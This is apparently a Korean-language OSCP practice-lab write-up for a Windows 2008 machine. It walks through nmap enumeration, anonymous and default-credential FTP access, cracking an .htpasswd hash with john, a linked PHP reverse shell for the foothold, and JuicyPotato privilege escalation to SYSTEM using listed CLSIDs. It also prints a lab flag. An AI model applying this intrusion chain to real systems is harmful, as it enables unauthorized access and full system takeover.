Machine IP : 192.168.119.46

초기 침투

[서비스] / [취약점] / [CVE 또는 기법] 요약

포트 오픈, FTP 익명 접속 가능함

# Nmap 7.95 scan initiated Wed May 20 14:19:34 2026 as: /usr/lib/nmap/nmap --privileged -Pn -p21,242,3145,3389 -sC -sV -T4 -oA tcpDetail 192.168.119.46
Nmap scan report for 192.168.119.46
Host is up (0.090s latency).

PORT     STATE SERVICE       VERSION
21/tcp   open  ftp           zFTPServer 6.0 build 2011-10-17
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| total 9680
| ----------   1 root     root      5610496 Oct 18  2011 zFTPServer.exe
| ----------   1 root     root           25 Feb 10  2011 UninstallService.bat
| ----------   1 root     root      4284928 Oct 18  2011 Uninstall.exe
| ----------   1 root     root           17 Aug 13  2011 StopService.bat
| ----------   1 root     root           18 Aug 13  2011 StartService.bat
| ----------   1 root     root         8736 Nov 09  2011 Settings.ini
| dr-xr-xr-x   1 root     root          512 May 20 22:01 log
| ----------   1 root     root         2275 Aug 08  2011 LICENSE.htm
| ----------   1 root     root           23 Feb 10  2011 InstallService.bat
| dr-xr-xr-x   1 root     root          512 Nov 08  2011 extensions
| dr-xr-xr-x   1 root     root          512 Nov 08  2011 certificates
|_dr-xr-xr-x   1 root     root          512 Oct 11  2025 accounts
242/tcp  open  http          Apache httpd 2.2.21 ((Win32) PHP/5.3.8)
| http-auth: 
| HTTP/1.1 401 Authorization Required\x0D
|_  Basic realm=Qui e nuce nuculeum esse volt, frangit nucem!
|_http-title: 401 Authorization Required
|_http-server-header: Apache/2.2.21 (Win32) PHP/5.3.8
3145/tcp open  zftp-admin    zFTPServer admin
3389/tcp open  ms-wbt-server Microsoft Terminal Service
|_ssl-date: 2026-05-20T15:01:57+00:00; +9h41m59s from scanner time.
| rdp-ntlm-info: 
|   Target_Name: LIVDA
|   NetBIOS_Domain_Name: LIVDA
|   NetBIOS_Computer_Name: LIVDA
|   DNS_Domain_Name: LIVDA
|   DNS_Computer_Name: LIVDA
|   Product_Version: 6.0.6001
|_  System_Time: 2026-05-20T15:01:51+00:00
| ssl-cert: Subject: commonName=LIVDA
| Not valid before: 2025-10-09T17:16:18
|_Not valid after:  2026-04-10T17:16:18
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 9h41m59s, deviation: 0s, median: 9h41m58s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed May 20 14:19:58 2026 -- 1 IP address (1 host up) scanned in 24.16 seconds

http://192.168.119.46:242/ HTTP 접속해서 admin/admin으로 접속 시도했으나 실패함 accounts 폴더에 이상한 계정 목록이 존재함

ftp> ls                                                                                                                      
229 Entering Extended Passive Mode (|||2060|)                                                                                
150 Opening connection for /bin/ls.                                                                                          
total 9680                                                                                                                   
----------   1 root     root      5610496 Oct 18  2011 zFTPServer.exe 
----------   1 root     root           25 Feb 10  2011 UninstallService.bat                                                  
----------   1 root     root      4284928 Oct 18  2011 Uninstall.exe   
----------   1 root     root           17 Aug 13  2011 StopService.bat  
----------   1 root     root           18 Aug 13  2011 StartService.bat 
----------   1 root     root         8736 Nov 09  2011 Settings.ini    
dr-xr-xr-x   1 root     root          512 May 20 22:01 log          
----------   1 root     root         2275 Aug 08  2011 LICENSE.htm    
----------   1 root     root           23 Feb 10  2011  
dr-xr-xr-x   1 root     root          512 Nov 08  2011 extensions      
dr-xr-xr-x   1 root     root          512 Nov 08  2011 certificates   
dr-xr-xr-x   1 root     root          512 Oct 11  2025 accounts     
150 Opening connection for /bin/ls.                          
total 4                                                      
dr-xr-xr-x   1 root     root          512 Oct 11  2025 backup
----------   1 root     root          764 Oct 11  2025 acc[Offsec].uac  
----------   1 root     root         1032 May 20 22:11 acc[anonymous].uac 
----------   1 root     root          926 Oct 11  2025 acc[admin].uac

ftp admin@192.168.119.46 패스워드 admin으로 FTP 접속 성공

┌──(root㉿kali)-[/home/kali/oscp_pg/AuthBy/recon]
└─# ftp admin@192.168.119.46      
Connected to 192.168.119.46.
220 zFTPServer v6.0, build 2011-10-17 15:25 ready.
331 User name received, need password.
Password: 
230 User logged in, proceed.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||2080|)
150 Opening connection for /bin/ls.
total 3
-r--r--r--   1 root     root           76 Nov 08  2011 index.php
-r--r--r--   1 root     root           45 Nov 08  2011 .htpasswd
-r--r--r--   1 root     root          161 Nov 08  2011 .htaccess

.htpasswd 파일에 Hash가 존재함, 크래킹 결과 elite

┌──(kali㉿kali)-[~/oscp_pg/AuthBy/recon]
└─$ cp .htpasswd pw.hash         
┌──(kali㉿kali)-[~/oscp_pg/AuthBy/recon]
└─$ cat pw.hash              
offsec:$apr1$oRfRsc/K$UpYpplHDlaemqseM39Ugg0                                  
┌──(kali㉿kali)-[~/oscp_pg/AuthBy/recon]
└─$ john --wordlist=~/utill/wordlist/rockyou.txt pw.hash              
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 128/128 ASIMD 4x2])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
elite            (offsec)     
1g 0:00:00:00 DONE (2026-05-20 16:00) 7.142g/s 181028p/s 181028c/s 181028C/s quinto..260989
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

192.168.119.46:242 접속, Offsec:elite 크리덴셜 사용

.htpasswd 파일 읽기 시도, 403 발생으로 파일이 존재하는 것 확인함

리버스쉘 업로드 에러 발생

https://github.com/Dhayalanb/windows-php-reverse-shell/blob/master/Reverse%20Shell.php 리버스쉘 사용해 초기 침투 및 local.txt 플래그 획득

C:\Users\apache\Desktop>type local.txt
type local.txt
a33f774b803ac7c0bdcc318ef9922664

C:\Users\apache\Desktop>whoami
whoami
livda\apache

권한 상승

[misconfiguration 또는 exploit] 요약

systeminfo

Hotfix(s): N/A 32 비트 윈도우 2008 서버이며 빌드는 6.0.6001 Service Pack 1 Build 6001

Host Name:                 LIVDA                                                                                             
OS Name:                   Microsoftr Windows Serverr 2008 Standard                                                          
OS Version:                6.0.6001 Service Pack 1 Build 6001                                                                
OS Manufacturer:           Microsoft Corporation                                                                             
OS Configuration:          Standalone Server                                                                                 
OS Build Type:             Multiprocessor Free
Registered Owner:          Windows User
Registered Organization:   
Product ID:                92573-OEM-7502905-27565
Original Install Date:     12/19/2009, 11:25:57 AM
System Boot Time:          5/20/2026, 10:24:47 AM
System Manufacturer:       VMware, Inc.
System Model:              VMware Virtual Platform
System Type:               X86-based PC
Processor(s):              1 Processor(s) Installed.
                           [01]: x64 Family 25 Model 17 Stepping 1 AuthenticAMD ~3000 Mhz
BIOS Version:              Phoenix Technologies LTD 6.00, 11/12/2020
Windows Directory:         C:\Windows
System Directory:          C:\Windows\system32
Boot Device:               \Device\HarddiskVolume1
System Locale:             en-us;English (United States)
Input Locale:              en-us;English (United States)
Time Zone:                 (GMT-08:00) Pacific Time (US & Canada)
Total Physical Memory:     2,047 MB
Available Physical Memory: 1,669 MB
Page File: Max Size:       1,984 MB
Page File: Available:      1,552 MB
Page File: In Use:         432 MB
Page File Location(s):     N/A
Registered Organization:   
Product ID:                92573-OEM-7502905-27565
Original Install Date:     12/19/2009, 11:25:57 AM
System Boot Time:          5/20/2026, 10:24:47 AM
System Manufacturer:       VMware, Inc.
System Model:              VMware Virtual Platform
System Type:               X86-based PC
Processor(s):              1 Processor(s) Installed.
                           [01]: x64 Family 25 Model 17 Stepping 1 AuthenticAMD ~3000 Mhz
BIOS Version:              Phoenix Technologies LTD 6.00, 11/12/2020
Windows Directory:         C:\Windows
System Directory:          C:\Windows\system32
Boot Device:               \Device\HarddiskVolume1
System Locale:             en-us;English (United States)
Input Locale:              en-us;English (United States)
Time Zone:                 (GMT-08:00) Pacific Time (US & Canada)
Total Physical Memory:     2,047 MB
Available Physical Memory: 1,669 MB
Page File: Max Size:       1,984 MB
Page File: Available:      1,552 MB
Page File: In Use:         432 MB
Page File Location(s):     N/A
Domain:                    WORKGROUP
Logon Server:              N/A
Hotfix(s):                 N/A
Network Card(s):           N/A

whoami /priv

SeImpersonatePrivilege 권한 활성화되어있음

C:\Users\apache\Desktop>whoami /priv
whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State   
============================= ========================================= ========
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled 
SeImpersonatePrivilege        Impersonate a client after authentication Enabled 
SeCreateGlobalPrivilege       Create global objects                     Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled

JuicyPotato

juicypotato 파일 업로드

포테이토에 필요한 파일 모두 업로드

C:\Windows\Tasks>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is BCAD-595B

 Directory of C:\Windows\Tasks

05/21/2026  07:25 AM    <DIR>          .
05/21/2026  07:25 AM    <DIR>          ..
05/21/2026  07:16 AM               284 clsid.bat
05/21/2026  07:17 AM            18,640 CLSID.list
05/21/2026  07:14 AM             5,632 D3fa1t_shell.exe
05/21/2026  07:15 AM           263,680 potato.exe
05/21/2026  07:25 AM             7,168 reverse.exe
07/09/2020  11:07 AM            21,102 SCHEDLGU.TXT
               6 File(s)        316,506 bytes
               2 Dir(s)   6,030,962,688 bytes free

clsid.bat 실행, result.log 파일에서 NT AUTHORITY\SYSTEM 권한 할당이 가능하다는 clsid 중 선택

C:\Windows\Tasks>type result.log
type result.log
{0289a7c5-91bf-4547-81ae-fec91a89dec5};LIVDA\apache
{6d8ff8e0-730d-11d4-bf42-00b0d0118b56};LIVDA\apache
{69AD4AEE-51BE-439b-A92C-86AE490E8B30};NT AUTHORITY\SYSTEM
{659cdea7-489e-11d9-a9cd-000d56965251};NT AUTHORITY\SYSTEM
{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM
{03ca98d6-ff5d-49b8-abc6-03dd84127020};NT AUTHORITY\SYSTEM
{6d18ad12-bde3-4393-b311-099c346e6df9};NT AUTHORITY\SYSTEM
{F087771F-D74F-4C1A-BB8A-E16ACA9124EA};NT AUTHORITY\SYSTEM
{1BE1F766-5536-11D1-B726-00C04FB926AF};NT AUTHORITY\LOCAL SERVICE
{5BF9AA75-D7FF-4aee-AA2C-96810586456D};NT AUTHORITY\LOCAL SERVICE
{8F5DF053-3013-4dd8-B5F4-88214E81C0CF};NT AUTHORITY\SYSTEM
{4729dc2b-36ff-405f-bd36-f45113adb052};NT AUTHORITY\SYSTEM
{3c6859ce-230b-48a4-be6c-932c0c202048};NT AUTHORITY\SYSTEM
{752073A1-23F2-4396-85F0-8FDB879ED0ED};NT AUTHORITY\SYSTEM
{C49E32C6-BC8B-11d2-85D4-00105A1F8304};NT AUTHORITY\SYSTEM
{8BC3F05E-D86B-11D0-A075-00C04FB68820};NT AUTHORITY\SYSTEM
{9B1F122C-2982-4e91-AA8B-E071D54F2A4D};NT AUTHORITY\SYSTEM
{e60687f7-01a1-40aa-86ac-db1cbf673334};NT AUTHORITY\SYSTEM

juicypotato 실행

C:\Windows\Tasks>.\juicypotato.exe -l 20000 -p C:\windows\tasks\reverse.exe -t * -c "{69AD4AEE-51BE-439b-A92C-86AE490E8B30}"
.\juicypotato.exe -l 20000 -p C:\windows\tasks\reverse.exe -t * -c "{69AD4AEE-51BE-439b-A92C-86AE490E8B30}"
Testing {69AD4AEE-51BE-439b-A92C-86AE490E8B30} 20000
....
[+] authresult 0
{69AD4AEE-51BE-439b-A92C-86AE490E8B30};NT AUTHORITY\SYSTEM

[+] CreateProcessWithTokenW OK

proof.txt 획득

막힌 포인트

[열거 누락? 기법 몰랐음? 방향 잘못?] 요약